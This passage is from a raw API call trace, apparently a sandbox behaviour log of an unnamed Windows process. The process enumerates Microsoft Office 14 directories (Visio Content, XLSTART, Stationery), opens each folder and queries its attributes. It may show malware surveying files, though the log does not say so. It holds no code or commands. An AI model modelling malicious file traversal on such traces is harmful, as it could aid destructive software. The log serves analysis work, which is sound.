dwReserved1=0x0, cFileName="HVACD_M.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b0a9100, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5b0a9100, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x26a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACD_U.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f65300, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f65300, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACEQ_M.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4e8e00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6f4e8e00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x1b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACEQ_U.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c68b000, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c68b000, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC_M.VST", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75f21800, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x75f21800, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x17e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC_U.VST", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e21500, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x72e21500, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDEF0_M.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78547200, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78547200, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDEF0_M.VST", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76759c00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76759c00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDEF0_U.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ab6cc00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ab6cc00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDEF0_U.VST", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b3a5000, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7b3a5000, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTANN_M.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81303100, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81303100, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTANN_U.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3b800, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c3b800, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRRIG_M.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89886c00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x89886c00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRRIG_U.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94430100, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x94430100, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x67600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIL_M.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a745a00, ftCreationTime.dwHighDateTime=0x1ca488a, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a745a00, ftLastWriteTime.dwHighDateTime=0x1ca488a, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIL_M.VST", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9efd9600, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9efd9600, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x65c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIL_U.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f988c00, ftCreationTime.dwHighDateTime=0x1ca488a, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f988c00, ftLastWriteTime.dwHighDateTime=0x1ca488a, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIL_U.VST", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2911d00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa2911d00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xde00, dwReserved0=0x0, dwReserved1=0x0, cFileName="LANGLV_M.VSS", cAlternateFileName="")) returned 1 [0079.752] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa624a400, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa624a400, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x0, dwReserved1=0x0, cFileName="LANGLV_U.VSS", cAlternateFileName="")) returned 1 [0079.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d192600, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d192600, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xde00, dwReserved0=0x0, dwReserved1=0x0, cFileName="LDAPDR_M.VST", cAlternateFileName="")) returned 1 [0079.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acad00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80acad00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xde00, dwReserved0=0x0, dwReserved1=0x0, cFileName="LDAPDR_U.VST", cAlternateFileName="")) returned 1 [0079.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3419300, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509e9560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb3419300, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="LDAPOB_M.VSS", cAlternateFileName="")) returned 1 [0079.753] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc18faf00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x50a35820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc18faf00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x40c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="LDAPOB_U.VSS", cAlternateFileName="")) returned 1 [0079.754] GetLastError () returned 0x12 [0079.754] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0079.754] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.755] GetLastError () returned 0x12 [0079.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0079.755] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0079.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb6a8) returned 1 [0079.756] GetLastError () returned 0x12 [0079.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.756] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.757] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.758] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.758] NtClose (Handle=0x168) returned 0x0 [0079.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.758] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.758] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.758] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.758] GetLastError () returned 0x12 [0079.758] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0079.759] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.759] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.759] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0079.759] GetLastError () returned 0x12 [0079.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.759] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.759] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccffc00, ftCreationTime.dwHighDateTime=0x1c43c6f, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbccffc00, ftLastWriteTime.dwHighDateTime=0x1c43c6f, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0079.759] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d4ce00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x5e8489d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d4ce00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x202200, dwReserved0=0x0, dwReserved1=0x0, cFileName="XOCR3.PSP", cAlternateFileName="")) returned 1 [0079.759] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x75390, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPAGE3C.DLL", cAlternateFileName="")) returned 1 [0079.759] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x75390, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPAGE3C.DLL", cAlternateFileName="")) returned 0 [0079.759] GetLastError () returned 0x12 [0079.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0079.760] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0079.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0079.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0079.763] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f1ac150, ftCreationTime.dwHighDateTime=0x1d56101, ftLastAccessTime.dwLowDateTime=0xe2079880, ftLastAccessTime.dwHighDateTime=0x1d56926, ftLastWriteTime.dwLowDateTime=0xe2079880, ftLastWriteTime.dwHighDateTime=0x1d56926, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spgagentservice.exe", cAlternateFileName="")) returned 1 [0079.763] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0079.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0079.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery" (normalized: "c:\\program files\\microsoft office\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery" (normalized: "c:\\program files\\microsoft office\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0079.764] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0079.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.764] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0079.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.764] NtClose (Handle=0x124) returned 0x0 [0079.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0079.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0079.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0079.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.765] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0079.765] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.766] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.766] 